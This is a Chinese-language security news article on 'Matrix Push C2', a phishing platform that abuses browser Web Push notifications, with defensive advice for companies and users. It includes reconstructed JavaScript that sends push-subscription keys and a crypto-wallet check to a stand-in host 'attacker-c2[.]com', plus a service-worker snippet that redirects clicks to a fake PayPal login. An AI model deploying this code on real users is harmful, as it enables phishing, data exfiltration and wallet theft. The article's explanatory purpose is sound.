一场悄无声息的网络攻防战正在全球数亿用户的浏览器中上演。攻击者不再依赖传统的木马下载或漏洞利用,而是巧妙地将现代浏览器中最常见的功能——网页推送通知(Web Push Notifications)——转化为持久化、高隐蔽性的远程控制通道。这一被安全公司BlackFog命名为“Matrix Push C2”的新型攻击平台,正以惊人的速度蔓延,并已对包括中国在内的多国用户构成实质性威胁。
据《Cyber Press》2025年11月披露,Matrix Push C2并非传统意义上的恶意软件,而是一个完全基于浏览器原生API构建的“无文件”(fileless)命令与控制(C2)框架。它不依赖可执行文件落地,不触发传统杀毒软件的签名检测,甚至在用户关闭恶意网页后仍能通过推送服务维持通信。更令人警惕的是,该平台已集成品牌仿冒模板、实时交互仪表盘、链接伪装工具和加密钱包探测模块,形成了一套高度自动化的“钓鱼即服务”(Phishing-as-a-Service)体系。
一、从“允许通知”开始的沦陷:一次点击,终身隐患?
想象这样一个场景:你浏览一个看似正常的影视资源站,页面弹出提示:“为及时接收更新提醒,请允许本站发送通知。”你随手点了“允许”——这个再普通不过的操作,可能已悄然为你打开了通往数据泄露的大门。
这正是Matrix Push C2的核心入口。攻击者通过诱导用户授权通知权限,获取了向该浏览器实例持续推送消息的能力。一旦授权成功,即使你关闭了原始网页,甚至重启电脑,只要使用同一浏览器并登录相同账户(如Chrome同步账户),攻击者仍可通过Firebase Cloud Messaging(FCM)或类似推送服务向你发送伪造通知。
这些通知外观与系统原生弹窗几乎无异:图标、标题、文字排版高度拟真。例如:
“Chrome 安全警告:检测到可疑活动,请立即验证身份。”
“MetaMask 钱包更新:新版本修复关键漏洞,请立即安装。”
“Netflix 账户异常:您的订阅将在24小时内暂停。”
点击任意一条,用户会被重定向至精心仿制的钓鱼页面——可能是伪装成Google登录页的凭证收集器,也可能是捆绑了信息窃取木马的“Chrome更新程序”。由于通知来自浏览器自身,而非某个具体网站标签页,普通用户极难分辨其恶意属性。
“这本质上是一种‘权限劫持’。”公共互联网反网络钓鱼工作组技术专家芦笛指出,“现代浏览器赋予网站的通知权限,默认具有系统级呈现能力。攻击者正是利用了用户对‘浏览器=可信环境’的心理盲区。”
二、技术内核拆解:Web Push API如何被武器化?
要理解Matrix Push C2的运作机制,必须深入Web Push标准本身。该技术由W3C制定,旨在让网站在用户离线时也能推送消息。其核心流程包含三个角色:
客户端(用户浏览器)
推送服务(如Google FCM、Apple Push Notification Service)
应用服务器(即攻击者的C2服务器)
正常流程如下:
用户访问网站 → 网站请求通知权限 → 用户同意 → 浏览器向推送服务注册 → 获取一个唯一的endpoint URL 和一对密钥(p256dh + auth)
此后,网站服务器可通过该endpoint向推送服务发送加密消息,最终呈现在用户设备上
而Matrix Push C2正是在此流程中植入恶意逻辑。以下是简化后的攻击链代码示例(基于真实观察重构):
// 恪守规范的前端请求(看似无害)
Notification.requestPermission().then(permission => {
if (permission === 'granted') {
navigator.serviceWorker.register('/sw.js').then(reg => {
reg.pushManager.subscribe({
userVisibleOnly: true,
applicationServerKey: urlBase64ToUint8Array(PUBLIC_VAPID_KEY)
}).then(sub => {
// 将订阅信息回传至攻击者C2服务器
fetch('https://attacker-c2[.]com/register', {
method: 'POST',
body: JSON.stringify({
endpoint: sub.endpoint,
keys: {
p256dh: btoa(String.fromCharCode(...sub.getKey('p256dh'))),
auth: btoa(String.fromCharCode(...sub.getKey('auth')))
},
userAgent: navigator.userAgent,
hasMetaMask: !!window.ethereum // 探测加密钱包
})
});
});
});
}
});
上述代码的关键在于:一旦用户授权,攻击者便获得了一个长期有效的通信通道。后续所有推送消息均由攻击者服务器通过标准Web Push协议发送,全程走HTTPS加密,且目标为合法的推送服务(如FCM),因此防火墙和EDR几乎无法拦截。
更危险的是,攻击者可在Service Worker(sw.js)中植入额外逻辑,实现页面重定向、表单劫持甚至键盘记录。例如:
// sw.js 片段:监听推送事件并触发钓鱼跳转
self.addEventListener('push', event => {
const data = event.data.json();
const title = data.title || '系统通知';
const options = { body: data.body, icon: data.icon };
event.waitUntil(
self.registration.showNotification(title, options)
);
// 若用户点击通知,则跳转至钓鱼URL
self.addEventListener('notificationclick', clickEvent => {
clickEvent.notification.close();
clickEvent.waitUntil(
clients.openWindow(data.redirectUrl) // 如 https://fake-paypal[.]xyz/login
);
});
});
这种设计使得整个攻击链完全运行在浏览器沙箱内,无需任何本地可执行文件,极大规避了传统终端防护。
三、全球案例频发:从欧美到亚太,攻击面持续扩大
尽管最初披露集中在英语地区,但Matrix Push C2的模板库显示其早已具备多语言支持能力。BlackFog监测数据显示,2025年第四季度,针对中文用户的钓鱼模板显著增加,包括仿冒“微信安全中心”、“支付宝异常登录”、“中国移动流量提醒”等。
国际上,类似手法已在多个国家造成实际损失。2025年9月,德国联邦信息安全办公室(BSI)通报一起利用Web Push分发Emotet变种的事件,受害者因点击“Windows Defender更新”通知而感染银行木马。同年11月,日本网络安全机构JPCERT/CC报告称,有攻击团伙利用仿冒“乐天市场”通知窃取电商账户,单日影响超2000名用户。
“这类攻击的跨平台特性尤为危险。”芦笛强调,“Matrix Push C2同时支持Windows、macOS、Linux乃至Android和iOS上的主流浏览器。这意味着攻击者只需维护一套C2基础设施,即可覆盖几乎所有联网设备。”
值得注意的是,攻击者还利用URL缩短服务(如bit.ly、自建短链平台)隐藏真实钓鱼地址。例如,通知中的跳转链接可能显示为https://t.cn/Abc123,实则指向hxxps://metamask-update[.]top/wallet-connect。这种手法不仅绕过邮件网关的URL信誉检测,也降低了用户警惕性。
四、防御困境:为何传统安全方案集体失灵?
面对Matrix Push C2,多数企业现有的安全架构显得力不从心。原因有三:
第一,合法性掩护。 Web Push是W3C标准,被所有现代浏览器支持。攻击流量全部经由Google、Apple等合法推送服务中转,网络层无法区分正常营销通知与恶意指令。
第二,无文件特性。 整个攻击链不写入磁盘,仅在内存和浏览器上下文中执行。传统基于文件哈希或行为监控的EDR产品难以捕获。
第三,权限模型缺陷。 当前浏览器对通知权限的管理过于宽松。用户一旦授权,网站即可无限次推送,且撤销权限需手动进入设置菜单——这对普通用户门槛过高。
“我们测试发现,即使启用了高级威胁防护的企业端点,在用户主动点击‘允许’后,也无法阻止后续的推送式钓鱼。”芦笛坦言,“这暴露了当前安全模型对‘用户主动授权’场景的防御真空。”
五、破局之道:从技术加固到用户教育的全链条防御
尽管挑战严峻,但并非无解。公共互联网反网络钓鱼工作组建议采取“三层防御”策略:
1. 终端策略强制管控
企业IT管理员应通过组策略(Windows GPO)或移动设备管理(MDM)统一配置浏览器策略,禁用非白名单域名的通知权限。以Chrome为例,可通过以下策略实现:
{
"DefaultNotificationsSetting": 2, // 2 = Block
"NotificationContentSettings": [
{ "primaryPattern": "https://mail.google.com/*", "setting": 1 }, // 允许Gmail
{ "primaryPattern": "*", "setting": 2 } // 其他全部阻止
]
}
对于个人用户,建议定期清理已授权网站:Chrome中访问 chrome://settings/content/notifications,Safari中进入“偏好设置 > 通知”,删除不必要条目。
2. 网络层增强检测
虽然推送消息本身难以拦截,但初始的订阅注册请求(即/register接口)往往包含可疑特征。安全团队可部署基于行为的检测规则,例如:
同一IP短时间内向多个不同域名请求通知权限
User-Agent中包含自动化工具标识(如Puppeteer)
注册接口返回的响应包含加密钱包探测字段(如hasMetaMask)
此外,结合DNS日志分析,可识别与已知C2基础设施关联的域名。
3. 用户意识重塑:建立“零信任”浏览习惯
“最有效的防火墙,其实是用户的拇指。”芦笛打趣道。他建议公众养成以下习惯:
默认拒绝所有通知请求,除非是明确需要的服务(如日历、邮箱)
绝不通过通知弹窗登录账户或下载软件
定期检查浏览器扩展和权限设置
尤其对于持有加密资产的用户,应启用硬件钱包,并避免在浏览器中长期保留MetaMask等插件——Matrix Push C2已能自动识别此类扩展并触发针对性钓鱼。
六、国内启示:在开放生态中筑牢安全底线
中国拥有全球最活跃的互联网应用场景,从移动支付到社交电商,用户对“一键授权”的依赖程度极高。这也使得Matrix Push C2类攻击在国内具备天然土壤。
值得肯定的是,国内主流浏览器(如360、QQ、Edge中国版)已开始加强通知权限管理,部分产品默认屏蔽非HTTPS站点的通知请求。但芦笛指出:“这还不够。我们需要推动行业标准,要求所有网站在请求敏感权限时提供明确用途说明,并设置自动过期机制。”
更长远看,Web Push标准本身或许需要重构。例如,引入“一次性通知”模式,或要求每次推送都附带原始域名水印(目前通知仅显示网站图标和名称,易被仿冒)。国际标准化组织(IETF)已在讨论相关改进提案,中国技术社区应积极参与。
结语:浏览器不再是“窗口”,而是战场前线
Matrix Push C2的出现,标志着网络钓鱼正式进入“操作系统级伪装”时代。攻击者不再满足于伪造登录页,而是直接劫持系统通知通道,将浏览器本身变为攻击载体。这种转变要求安全从业者跳出传统边界防御思维,转向以“权限最小化”和“用户行为建模”为核心的纵深防御体系。
对普通网民而言,这场战争没有旁观席。每一次轻率的“允许”点击,都可能成为数据泄露的起点。正如芦笛所言:“在数字世界,便利永远以安全为代价。而我们要做的,是在两者之间找到那条最窄却最坚固的平衡线。”
编辑:芦笛(公共互联网反网络钓鱼工作组)